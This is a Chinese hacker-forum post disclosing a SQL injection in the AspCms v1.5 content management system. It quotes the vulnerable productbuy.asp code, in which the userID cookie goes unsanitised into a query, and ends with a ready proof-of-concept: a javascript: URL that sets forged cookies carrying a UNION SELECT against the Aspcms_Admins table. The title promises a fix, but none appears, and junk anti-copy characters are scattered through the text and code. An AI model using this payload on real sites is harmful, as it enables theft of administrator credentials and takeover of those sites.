标题: AspCms_v1.5_20110517 SQL注射漏洞及修复 [打印本页] 作者: admin 时间: 2012-12-27 08:35 标题: AspCms_v1.5_20110517 SQL注射漏洞及修复 好久没上土司了,上来一看发现在删号名单内..... 6 ^, X6 _# U" E8 M' p8 l也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。 : R" L9 j/ M ~6 r3 Q废话不多说,看代码: ' N; p, i, J% F* C! O 1 {6 n! N, |# O: P+ Y. ?<% 1 h; K, ]3 Y+ b3 j2 \# \ ( o6 z. u& F, @! oif action = "buy" then 7 j ^4 b% I7 C4 s6 I* d4 u ) l& L$ h; q! A* o! h addOrder() % z0 i$ c% I. b/ c/ z& | . F; m" q8 ^+ [3 Kelse $ N8 r! B- Y* J ; B) Z% _% L6 w9 Q; l echoContent() , d' K6 v! [7 v1 j( f2 j ; o+ l: x; j. G3 ]: U5 W! H0 lend if5 S- O: t; v5 u( B! X+ c# V) X
. M4 i+ t3 P* o. g* l) a* @& ?* s* B! s0 {- z
- f% e. f3 L! p9 x! J
……略过. E; e+ e5 |- }. k2 w
8 E# j7 [# [6 I& G9 n! m* n4 } ' H0 L: l% p, |7 N9 d$ a7 o" I# p7 e- |
Sub echoContent()" {& S3 O B! r y' e. ^
* d- w' C7 A2 e4 Z/ g* p dim id6 f$ Y: J \2 `$ ?( e" P# a& ?8 B' |
5 i& X& G1 A' G( U1 T! i* I
id=getForm("id","get")7 G' g6 V( A' X$ [# c; ~$ C
7 v$ z' g) r; W
, \3 Y5 X8 {# t ; E& f: r1 a& m1 H, n) e! K% o' F' p if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1" . r+ P/ m4 N- f( D5 ~4 N i+ {3 s- q, j m8 \4 C
, ?& Z2 c; @! B! K, G8 U+ Q% D K( g0 a
dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")& U8 G7 B$ T9 ^3 l) X$ _
3 @3 j4 {, i1 K/ V5 Y# `; R
dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct * W7 M- _% G. U. C% ?% p% n( G# M- {6 C) O
Dim templatePath,tempStr7 `) a/ W, a1 N3 Q6 O& H: F0 R
% T* e! ?% H9 ?- T& m3 B
templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html" + a \# O) |& `5 P; f: A+ Q1 R/ e% F# l# q& \
0 c3 g: X0 x a' V
5 \7 h' w2 o& S! \
set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1") * d0 o6 G9 o7 I0 C" R; e! n! p& K. k+ m7 n; B3 T
selectproduct=rsObj(0)) B: |# }- C1 U# Z6 I2 Q2 U; M
! {* p( R6 X! x5 d3 Y# x" @
- J+ B- |# F! G5 r( u ! f1 A& w! G2 [6 k c/ e Dim linkman,gender,phone,mobile,email,qq,address,postcode. ?/ Y c- Y$ N" Z4 A
( @# T" t! X0 @& \" q/ h if isnul(rCookie("loginstatus")) then wCookie"loginstatus",03 o3 d. ?; V; R8 y' w. {% D& s
; q, y. Z5 U* P, Y \, z6 c7 | if rCookie("loginstatus")=1 then " j; E7 u3 B3 c7 o( I* Q7 ^
m5 {+ _* _. m; k
set rsObj=conn.Exec("select * from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")! w! f* P: L# D m5 F3 }* b
7 E, }& A3 D# b( r" I$ q
linkman=rsObj("truename") ; c* ?$ x3 P6 D3 {6 p' ?' q( I5 c7 z3 u/ y4 S9 L
gender=rsObj("gender") 2 Y: @* ^6 m- F: p* S 6 `7 g9 v% c. V) E, C phone=rsObj("phone") 9 e& d0 M: P4 o% j' Y! d& Y* M7 D) w6 a2 R2 L
mobile=rsObj("mobile")' i4 A" _. k0 N" M. H
) z W# z. q4 j! C email=rsObj("email")- d9 Q- J6 k6 p0 d# y7 W" a: s8 P
5 a' R; j. x3 ^2 B
qq=rsObj("qq") 4 h6 H1 j0 p" n# ^6 d+ l7 b: z! P9 C0 d( q
address=rsObj("address") / k; K# T7 b' N: y/ l) F3 ^; {& T . u: I. r Q( `. L. l postcode=rsObj("postcode")+ z6 ?" `0 ^& [ H
/ j, d9 l7 r# o; \) R else % s0 [8 W+ v7 i! I
, |3 A1 }! P/ C, d" r3 M5 T
gender=1% V' x$ S {: ]1 D! E
6 t4 j) C& X' i$ n end if & m, _2 x4 Z5 z+ F1 c! V ! N2 N0 n ~5 C5 {8 l, H rsObj.close() ' S1 a1 W6 B/ _) E! C7 [9 x6 @/ R7 S- e/ p8 s
" k/ r6 k2 i5 x0 m: ] z& z; ~9 T3 k7 C6 l' P6 p* @
with templateObj 4 [! r# L6 j0 l; p6 o" j
( _/ q5 Q& R* x- D4 Z% u
.content=loadFile(templatePath) ; o" N( [% n% a , c: L' @8 n$ d% a# t: q- S0 J+ p7 V .parseHtml() ) I& v" e! R6 u# D! l4 e m 2 a% S6 g- I* ?* ~0 R6 `$ R' n# H .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct) ; x: ]3 u z% N# m2 c5 l : H2 G: X9 i' W" C, \' A1 D2 R .content=replaceStr(.content,"[aspcms:linkman]",linkman) ! p/ x. d2 V! e9 U$ a7 \# {( {0 p1 X% ]- {6 W
.content=replaceStr(.content,"[aspcms:gender]",gender) & I- S! c$ U* `& Z; ^: q: _
" g. B- A. U6 c8 }
.content=replaceStr(.content,"[aspcms:phone]",phone) ; s' Q* n+ l; l8 i
4 m! s0 n# o }! G6 r .content=replaceStr(.content,"[aspcms:mobile]",mobile) ; Q* ~4 P. G2 Q: c, W, x2 ^
1 e6 W1 ~3 _5 M3 d4 W3 r
.content=replaceStr(.content,"[aspcms:email]",email) ) s& X8 r( a7 ?- q( l + \2 Z" c# a+ v' j |+ m .content=replaceStr(.content,"[aspcms:qq]",qq) ' ]" b, c& x2 W! x+ m/ r- X
; e* [. t; m' R& @+ C .content=replaceStr(.content,"[aspcms:address]",address) , Y$ \4 N# @: i4 P) X $ { R5 I' \3 g/ ~ .content=replaceStr(.content,"[aspcms:postcode]",postcode) : u' M3 ^ q9 A. t% U, b6 u0 r1 K' I( g: t! {! S
.parseCommon() 0 f/ {* _& |9 s0 M l
& m. X1 y( I( q- V7 ?4 i6 t( c
echo .content 4 f% {( }3 F( Q% f" Z. D# |
3 [+ l3 V/ y8 i4 } end with 8 F4 q4 l- i) y/ J/ X; ], X ; d/ r- C! L5 `8 t set templateobj =nothing : terminateAllObjects * {3 Q( h$ y' E- t: D0 {% g6 D9 t1 p* c; [4 U" U
End Sub5 o& b" N- J' S8 I
漏洞很明显,没啥好说的 0 J6 u& \, z8 [poc:7 }0 G0 {7 h; Z& R1 v4 t! K
* v/ W* [' o: R! \7 ^/ K8 `2 Djavascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子2 _' u- ~1 s& @6 w
( g4 t" J9 y. ] U